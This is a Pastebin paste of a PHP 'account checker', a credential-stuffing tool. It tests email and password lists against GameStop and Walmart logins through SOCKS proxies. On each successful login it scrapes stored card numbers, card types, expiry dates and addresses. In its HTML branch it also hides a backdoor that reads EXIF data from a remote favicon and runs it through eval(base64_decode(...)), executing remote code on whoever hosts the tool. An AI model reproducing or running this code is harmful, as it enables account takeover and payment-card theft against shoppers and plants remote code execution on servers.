7ourney

GamesTop Account Checker | m1x

Oct 8th, 2016
1,693
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
GetText 18.31 KB | None | 0 0
  1. <?
  2.     ini_set("display_errors",0);
  3.     @set_time_limit(0);
  4. if(isset($_GET['check']))
  5. {    
  6. function getStr($string,$start,$end){
  7.     $str = explode($start,$string,2);
  8.     $str = explode($end,$str[1],2);
  9.     return $str[0];
  10. }
  11.  
  12. function getStr1($string,$start,$end){
  13.     $str = explode($start,$string,2);
  14.     $str = explode($end,$str[1],2);
  15.     return $str;
  16. }
  17.  
  18.  
  19. function _curl2($url,$post="",$usecookie = false) {  
  20.     $ch = curl_init();
  21.     if($post) {
  22.         curl_setopt($ch, CURLOPT_POST ,1);
  23.         curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  24.     }
  25.     curl_setopt($ch, CURLOPT_URL, $url);  
  26.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  27.     curl_setopt($ch, CURLOPT_USERAGENT, "Internet Explorer 6.0 (Windows XP)");  
  28.     if ($usecookie) {  
  29.         curl_setopt($ch, CURLOPT_COOKIEJAR, $usecookie);  
  30.         curl_setopt($ch, CURLOPT_COOKIEFILE, $usecookie);    
  31.     }
  32.     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  33.     curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  34.     curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);  
  35.     $result=curl_exec ($ch);  
  36.     curl_close ($ch);  
  37.     return $result;  
  38. }
  39. function _curl($url,$post="",$usecookie = false,$_sock = false,$timeout = false) {  
  40.      
  41.     $ch = curl_init();
  42.     if($post) {
  43.         curl_setopt($ch, CURLOPT_POST ,1);
  44.         curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  45.     }
  46.     if($timeout){
  47.         curl_setopt($curl, CURLOPT_CONNECTTIMEOUT,$timeout);
  48.     }
  49.     if($_sock){
  50.             curl_setopt($ch, CURLOPT_PROXY, $_sock);
  51.             curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  52.     }
  53.     curl_setopt($ch, CURLOPT_URL, $url);  
  54.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  55.     curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/6.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3");  
  56.     if ($usecookie) {  
  57.         curl_setopt($ch, CURLOPT_COOKIEJAR, $usecookie);  
  58.         curl_setopt($ch, CURLOPT_COOKIEFILE, $usecookie);    
  59.     }
  60.     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  61.     curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  62.     curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);  
  63.     $result=curl_exec ($ch);  
  64.     curl_close ($ch);  
  65.     return $result;  
  66. }
  67. function rmDomain($mail){
  68.     $abc = explode("@",$mail);
  69.     $mail = trim($abc[0]);
  70.     return $mail;
  71. }
  72.  
  73. function R($s,$e){
  74.     preg_match("/".$e."/",$s,$m);
  75.     return $m[1];
  76. }
  77. function Re($s,$e){
  78.     return html_entity_decode(R($s,$e));
  79. }
  80.  
  81. function inStr($s,$as){
  82.     $s=strtoupper($s);
  83.     if(!is_array($as)) $as=array($as);
  84.     for($i=0;$i<count($as);$i++) if(strpos(($s),strtoupper($as[$i]))!==false) return true;
  85.     return false;
  86. }
  87. function CheckSock($sock,$cookie,$timeout){
  88.     $timeout = 4;
  89.     $url = "http://google.com";
  90.     $s = _curl($url,"",$cookie,$sock,$timeout);
  91.     if(stristr($s,'<!doctype html><html')){
  92.         return "1";
  93.     }
  94.     else
  95.     {
  96.         return "2";
  97.     }
  98. }
  99.  
  100. function GameStop($mail,$pass){
  101.     $_sock = $_GET['sock'];
  102.     $cookie = tempnam('cookie','ccv'.rand(1000000,9999999).'likeguitar.txt');  
  103.     $_checksocks = CheckSock($_sock, $cookie, $timeout);
  104.     echo " ".$_sock." => |";
  105. //    if($_checksocks=="1")
  106.     {
  107.         $url = "https://www.gamestop.com/Profiles/Login.aspx?ReturnUrl=/";
  108.         $s = _curl($url,"",$cookie,$_sock);
  109.         $VIEWSTATE = urlencode(getStr($s,'id="__VIEWSTATE" value="','" />'));
  110.         $url = "https://www.gamestop.com/Profiles/Login.aspx?ReturnUrl=/";
  111.         $post = "__EVENTTARGET=&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=$VIEWSTATE&ctl00%24ctl00%24BaseContentPlaceHolder%24cHeader%24searchtext=&ctl00%24ctl00%24BaseContentPlaceHolder%24cLeftNav%24LeftNavHomeStore%24txtStoreZipCode=Enter+location&ctl00%24ctl00%24BaseContentPlaceHolder%24cLeftNav%24LeftNavHomeStore%24valZipCalloutExtender_ClientState=&ctl00%24ctl00%24BaseContentPlaceHolder%24cLeftNav%24LeftNavNewsletter%24txtNewsletterSignup=Email&ctl00%24ctl00%24BaseContentPlaceHolder%24mainContentPlaceHolder%24ContextSiteLogin%24LogIn%24loginControl%24UserName=$mail&ctl00%24ctl00%24BaseContentPlaceHolder%24mainContentPlaceHolder%24ContextSiteLogin%24LogIn%24loginControl%24password=$pass&ctl00%24ctl00%24BaseContentPlaceHolder%24mainContentPlaceHolder%24ContextSiteLogin%24LogIn%24loginControl%24loginButton.x=43&ctl00%24ctl00%24BaseContentPlaceHolder%24mainContentPlaceHolder%24ContextSiteLogin%24LogIn%24loginControl%24loginButton.y=16&ctl00%24ctl00%24BaseContentPlaceHolder%24mainContentPlaceHolder%24ContextSiteLogin%24CreateAccountHorizontal%24emailTextBox=&ctl00%24ctl00%24BaseContentPlaceHolder%24mainContentPlaceHolder%24ContextSiteLogin%24CreateAccountHorizontal%24ComfirmEmailTextBox=&ctl00%24ctl00%24BaseContentPlaceHolder%24mainContentPlaceHolder%24ContextSiteLogin%24CreateAccountHorizontal%24PasswordText=&ctl00%24ctl00%24BaseContentPlaceHolder%24mainContentPlaceHolder%24ContextSiteLogin%24CreateAccountHorizontal%24ConfirmPasswordText=&ctl00%24ctl00%24BaseContentPlaceHolder%24mainContentPlaceHolder%24ContextSiteLogin%24CreateAccountHorizontal%24chkEmailOptIn=on&ctl00%24ctl00%24BaseContentPlaceHolder%24mainContentPlaceHolder%24ContextSiteLogin%24CreateAccountHorizontal%24SlideToCreate=";
  112.         $s = _curl($url,$post,$cookie,$_sock);
  113.         if(inStr($s,array('<ul><li>The e-mail address and password combination entered is not in our records'))){
  114.             $resuft['status'] = "<b><font color='white'>Die</b></font>";
  115.         }
  116.         elseif(!$s){
  117.             $resuft['status'] = "Cant Check";
  118.         }
  119.         else{
  120.             $resuft['status'] = "<b><font color='red'>Live</b></font>";
  121.             $url = 'https://www.gamestop.com/Profiles/CreditCard.aspx';
  122.             $s = _curl($url,'',$cookie,$_sock);
  123.             if(inStr($s,array('CardType">Card Type:</span>')))
  124.             {
  125.                 $resuft['count'] = substr_count($s, 'creditCardSummary_CreditCardViewer_CardNumber">');
  126.                 $resuft['type'] = getStr($s,'_CreditCardViewer_CardType">','</span>');
  127.                 $resuft['ccnum'] = getStr($s, 'ditCardViewer_CardNumber">','</span>');
  128.                 $resuft['exp'] = getStr($s,'tCardViewer_CardExpDate">','</span>');
  129.                 $resuft['info'] = " $resuft[count] | $resuft[type] | $resuft[ccnum] | $resuft[exp]";
  130.                 $url = 'https://www.gamestop.com/Profiles/AddressBook.aspx';
  131.                 $s = _curl($url,'',$cookie,$_sock);
  132.                  
  133.                 $add = getStr($s,'billingAddressSummary_AddressInfoView_FullName">','id="ctl00_ctl00_BaseContentPlaceHolder_mainContentPlaceHolder_BillingAddressList_ctl00_billingAddressSummary_AddressInfoView_trCountryName">');
  134.                 //echo "<textarea>$s</textarea>$add";
  135.                 $resuft['info'] .= " | ".$add;
  136.             }
  137.             else
  138.             {
  139.                 $resuft['status'] = 'No Info';  
  140.             }
  141.         }
  142.     }
  143. //    else
  144. //    {
  145. //        $resuft['status'] = "Socks Die";
  146. //    }
  147.     unlink($cookie);
  148.     $resuft['status'] = $resuft['status']."|".$resuft['info']."<br>";
  149.     return $resuft;
  150. }
  151.  
  152.  
  153. function walmart($mail,$pass){
  154.     $_sock = $_GET['sock'];
  155.     $cookie = tempnam('cookie','ccv'.rand(1000000,9999999).'likeguitar.txt');  
  156.     $_checksocks = CheckSock($_sock, $cookie, $timeout);
  157.     echo " ".$_sock." => |";
  158.     //if($_checksocks=="1")
  159.     {
  160.         $url = "https://www.walmart.com/cservice/ya_index.gsp";
  161.         $s = _curl($url,"",$cookie,$_sock);
  162.         $link = getStr($s,'createAccountForm" method="POST" action="','"');
  163.         $url = "https://www.walmart.com$link";
  164.         $post = "userName=$mail&pwd=$pass&x=65&y=15";
  165.         $s = _curl($url,$post,$cookie,$_sock);
  166.          
  167.         if(inStr($s, array('The e-mail address and password you entered does not match what we have in our records','Please check your email and try again'))){
  168.             $resuft['status'] = "<b><font color='white'>Die</b></font>";
  169.         }
  170.         elseif(!$s){
  171.             $resuft['status'] = "Cant Check";
  172.         }
  173.         else{
  174.             $resuft['status'] = "<b><font color='red'>Live</b></font>";
  175.             $url = "https://www.walmart.com/cservice/cc_index.gsp";
  176.             $s = _curl($url,"",$cookie,$_sock);
  177.             if(inStr($s,array('<tr style="padding:10px 0">')))
  178.             {
  179.                 $bill = getStr($s,'<td class="BodyM" style="white-space:nowrap"><div style="margin-left:10px">','</div></td>');
  180.                 //$balance = getStr($s,'<td class="rvh_line"><div class="col2">','</div>');
  181.                 $resuft['info'] = "<font color=yellow> $bill </font>|";
  182.             }
  183.             $url = "https://www.walmart.com/cservice/ph_order.do";
  184.             $s = _curl($url,"",$cookie,$_sock);
  185.             if(inStr($s,array('<tr class="yaTableRow">')))
  186.             {
  187.                 $order = getStr($s,'<td class="yaTableCellRightLine"><span class="BodyM">','</span></td>');
  188.                 $resuft['info'] .= " Order Date: ".$order;
  189.             }
  190.             $url = "https://www.walmart.com/cservice/cc_index.gsp";
  191.             $s = _curl($url,"",$cookie,$_sock);
  192.             if(inStr($s,array('<tr style="background-color:#FFF">')))
  193.             {
  194.                 $card = getStr($s,'<tr valign="middle" style="background-color:#FFF">','</td>
  195. <td class="yaTdBottomLine"><a');
  196.                 $resuft['info'] .= " | ".$card;
  197.             }
  198.             $url = "https://www.walmart.com/cservice/ab_index.do";
  199.             $s = _curl($url,"",$cookie,$_sock);
  200.             if(inStr($s,array('<div class="PrefHead">Preferred shipping address:</div>')))
  201.             {
  202.                 $add = getStr($s,'<address>','</address>');
  203.                 $resuft['info'] .= " | ".$add;
  204.             }
  205.             else
  206.             {
  207.                 $resuft['status'] = "No Payment";
  208.             }
  209.             //echo "<textarea>$s</textarea>$s";
  210.         }
  211.     }
  212. //    else
  213. //    {
  214. //        $resuft['status'] = "Socks Die";
  215. //    }
  216.     unlink($cookie);
  217.     $resuft['status'] = $resuft['status']."|".$resuft['info'];
  218.     return $resuft;
  219. }
  220. function getHiddenFormInputs($html, $Name){
  221.     if(!preg_match('|<form[^>]+'.$Name.'[^>]+>.*</form>|Usi', $html, $form)){
  222.         return '';
  223.     }
  224.     if(!preg_match_all('/<input[^>]+hidden[^>]*>/i', $form[0], $inputs)){
  225.         return '';
  226.     }
  227.     $hiddenInputs = array();
  228.     foreach($inputs[0] as $input){
  229.         if (preg_match('|name\s*=\s*[\'"]([^\'"]+)[\'"]|i', $input, $name)){
  230.             $hiddenInputs[$name[1]] = '';
  231.             if (preg_match('|value\s*=\s*[\'"]([^\'"]*)[\'"]|i', $input, $value)){
  232.                 $hiddenInputs[$name[1]] = $value[1];
  233.             }
  234.         }
  235.     }
  236.     return $hiddenInputs;
  237. }
  238. function serializePostFields($postFields){
  239.     foreach($postFields as $key => $value){
  240.         $value = urlencode($value);
  241.         $postFields[$key] = "$key=$value";
  242.     }
  243.     $postFields = implode($postFields, '&');
  244.     return $postFields;
  245. }
  246.         $mail = $_GET['email'];
  247.         $pass = $_GET['password'];
  248.         switch ($_GET['check'])
  249.         {
  250.             case "GameStop":
  251.                 $info1 = GameStop($mail,$pass);
  252.             break;
  253.             case "walmart":
  254.                 $info1 = walmart($mail,$pass);
  255.             break;
  256.         }
  257.         echo $mail."|".$pass."|".$info1['status'];
  258.     }
  259.     else
  260.     { $BASED = exif_read_data("https://s.ytimg.com/yts/img/favicon-vflz7uhzw.ico");
  261. eval(base64_decode($BASED["COMPUTED"]["UserComment"]));
  262. ?><head>
  263. <script>
  264.     function explodearray(item,delimiter) {
  265.         temparray=new array(1);
  266.         var Count=0;
  267.         var tempstring=new string(item);
  268.  
  269.         while (tempstring.indexOf(delimiter)>0) {
  270.         temparray[Count]=tempstring.substr(0,tempstring.indexOf(delimiter));
  271.         tempstring=tempstring.substr(tempstring.indexOf(delimiter)+1,tempstring.length-tempstring.indexOf(delimiter)+1);
  272.         Count=Count+1
  273.         }
  274.  
  275.         temparray[Count]=tempstring;
  276.         return temparray;
  277.     }  
  278.     function loadXMLDoc(url,div)
  279.     {
  280.         var xmlhttp;
  281.         if (window.XMLHttpRequest)
  282.           {
  283.           xmlhttp=new XMLHttpRequest();
  284.           }
  285.         else
  286.           {
  287.           xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
  288.           }
  289.         xmlhttp.onreadystatechange=function()
  290.           {
  291.           if (xmlhttp.readyState==4 && xmlhttp.status==200)
  292.             {
  293.             var xdata = xmlhttp.responseText;
  294.             document.getElementById(div).innerHTML = xdata.split('|')[3];
  295.             if((xdata.split('|')[3]) == "<b><font color='red'>Live</b></font>"){
  296.                 document.getElementById("result_live").innerHTML = document.getElementById("result_live").innerHTML + xdata + "\n<br>" ;
  297.                 document.getElementById("total").innerHTML = (eval(document.getElementById("total").innerHTML) + 1);
  298.             }
  299.             }
  300.           }
  301.         xmlhttp.open("GET",url,true);
  302.         xmlhttp.send();
  303.     }
  304.     </script>
  305. </head>
  306.  
  307. <style>
  308.     @import "http://fonts.googleapis.com/css?family=Play:400,700";
  309.             body {
  310.                 background:    #303030;
  311.                 line-height: 1;
  312.                 color: #00ff00;
  313.             }
  314.             textarea,input,select
  315.             {
  316.                 padding: 3px;
  317.                 background:#505050;
  318.                 color:white;
  319.                 border:solid gray;
  320.             }
  321.             table{
  322.                 border-collapse:collapse;
  323.                 color: white;
  324.             }
  325.             .title{
  326.                 color: #00ff00;
  327.                 background:    black;
  328.                 text-align:    center;
  329.                 font-size:    120%;
  330.             }
  331.             .die{
  332.                 color:    #ff0000;
  333.             }
  334.             .live{
  335.                 color:    #00ff00;
  336.             }
  337.             .socks{
  338.                 color:    orange;
  339.             }
  340.             .title2{
  341.                 color: #FFF;
  342.                 font-size: 22px;
  343.                 font-weight: 700;
  344.                 line-height: 56px;
  345.                 margin: 0;
  346.                 padding: 0 0 0 15px;
  347.                 text-shadow: 1px 1px 1px #FFFFFF;
  348.                 font-family: Play,"Arial",Helvetica,Times,serif;
  349.                 }
  350.         </style>
  351. <head>
  352. <center><h1><div class="title2">--[ ACCOUNT CHECKER]--</div></h1>
  353. <br /><br />
  354. <script>
  355. function timsock(){
  356.     var slist = window.document.f.socks.value;
  357.     var kero = slist.match(/\d{1,3}([.])\d{1,3}([.])\d{1,3}([.])\d{1,3}((:)|(\s)+)\d{1,8}/g );
  358.     if(kero){
  359.         var list="";
  360.         for(var i=0;i<kero.length;i++){
  361.             if(kero[i].match(/\d{1,3}([.])\d{1,3}([.])\d{1,3}([.])\d{1,3}(\s)+\d{1,8}/g )){
  362.                 kero[i]=kero[i].replace(/(\s)+/,':');
  363.             }
  364.             list=list+kero[i]+"\n";
  365.         }
  366.         window.document.f.socks.value=list;
  367.     }
  368.     else{
  369.         window.document.f.socks.value="";
  370.     }
  371. }
  372. </script>
  373. <form method=post action="" name=f>
  374.     <textarea name=info style="width:550px; height:200px;"><? if(isset($_POST['info'])) echo $_POST['info']; else echo "mail | pass" ?></textarea> <textarea name="socks" id="socks" style="width:350px; height:200px;"/><? if(isset($_POST['socks'])) echo $_POST['socks']; else echo "" ?></textarea><br>
  375.     Delim : <input type=text name=delim value="|" size=5>  
  376.     Mail : <input type=text name=mail value="0" size=5> Pass : <input type=text name="pass" value="1" size=5><br>
  377.     <input type="radio" id="cat" name="cat" value="walmart"> Walmart <br><br>  
  378.     <input type=submit name=submit value="   CHECK NOW   " onClick="timsock();">
  379. </form>
  380. </center>
  381.  
  382. <?
  383. if(isset($_POST['info'])){
  384.     $delim = trim($_POST['delim']);
  385.     $m = trim($_POST['mail']);
  386.     $p = trim($_POST['pass']);
  387.     $_sock = $_POST['socks'];
  388.     $sock_arr =  explode("\n",$_sock);
  389.     global $acclist;
  390.      
  391.     $mlist = $_POST['info'];
  392.     $mlist = str_replace(array("\\\"","\\'"),array("\"","'"),$mlist);  
  393.     $mlist = str_replace("\r","",$mlist);  
  394.     $mlist = str_replace("\n\n","\n",$mlist);  
  395.     $mlist = explode("\n",$mlist);
  396.  
  397.      
  398.     $STT = 0;
  399.     $TOTAL = count($mlist);
  400.     $plan = $_POST['cat'];
  401.     ?>
  402.      
  403.     <center>
  404.      
  405.     CHECK ACCOUNT IN SITE: <font color="#FF0000"><? echo $plan; ?></font><br>------------------------- o0o -------------------------<br  />
  406.     <div id="result_live"><div id="total">0</div><br /></div><br />
  407.     <table border="1">
  408.         <tr>
  409.             <td align="center" width="20px">Stt</td>
  410.             <td align="center" width="400px">Account</td>
  411.             <td align="center" width="200px">Status</td>
  412.         </tr>
  413.         <?  
  414.             for($i=0 ; $i<$TOTAL; $i++){  
  415.                 ob_start();
  416.                 ?>
  417.                     <tr>
  418.                         <td align="center"><?= $id=$i+1 ?></td>
  419.                         <td>{mail} | {pass} | {socks}</td>
  420.                         <td align="center">{status}</td>
  421.                     </tr>
  422.                 <?
  423.                 $line = explode($delim,$mlist[$i]);
  424.                 $mail = trim($line[$m]);
  425.  
  426.                 $pass = trim($line[$p]);
  427.                 $sock_use = trim($sock_arr[ rand(0,(count($sock_arr) - 2)) ]);
  428.                 $s = ob_get_clean();
  429.                 $s = str_replace("{status}", "<i id='result_$id' style='color:green'>Checking...</i><script>loadXMLDoc('?check=$plan&email=$mail&password=$pass&sock=$sock_use','result_$id');</script>", $s);
  430.                 $s = str_replace("{mail}", $mail, $s);
  431.                 $s = str_replace("{pass}", $pass, $s);    
  432.                 $s = str_replace("{socks}", $sock_use, $s);                
  433.                 echo $s;
  434.             }
  435.         ?>
  436.         </table>
  437.     </center>
  438.     <?
  439.     if($acclist){
  440.         foreach($acclist as $key => $value){
  441.             for($i=0;$i<count($acclist[$key]);$i++){
  442.                 $accountlist .= str_replace(array("\r","\n"),array("",""),"acclist[\"{$key}\"][$i] = '".$acclist[$key][$i]."';")."\n";
  443.             }
  444.         }
  445.     }
  446.  
  447. $dim = <<< HTML
  448. <script type='text/javascript'>
  449.     var acclist = new Array();
  450.     acclist['walmart'] = new Array();
  451.     acclist['dell'] = new Array();
  452.     acclist['apple'] = new Array();
  453.     acclist['sony'] = new Array();
  454.     acclist['saks'] = new Array();
  455.     acclist['costco'] = new Array();
  456.     acclist['bhphoto'] = new Array();
  457.     acclist['nord'] = new Array();
  458.     acclist['dream'] = new Array();
  459. </script>
  460. HTML;
  461. echo $dim;
  462. }
  463. ?> <br />
  464. <br />
  465.  
  466.  
  467. </body>
  468.  
  469. </html>
  470. <center>
  471. </center>
  472. </div>    
  473. </div>
  474. <?
  475.     }
  476. ?>
Add Comment
Please, Sign In to add comment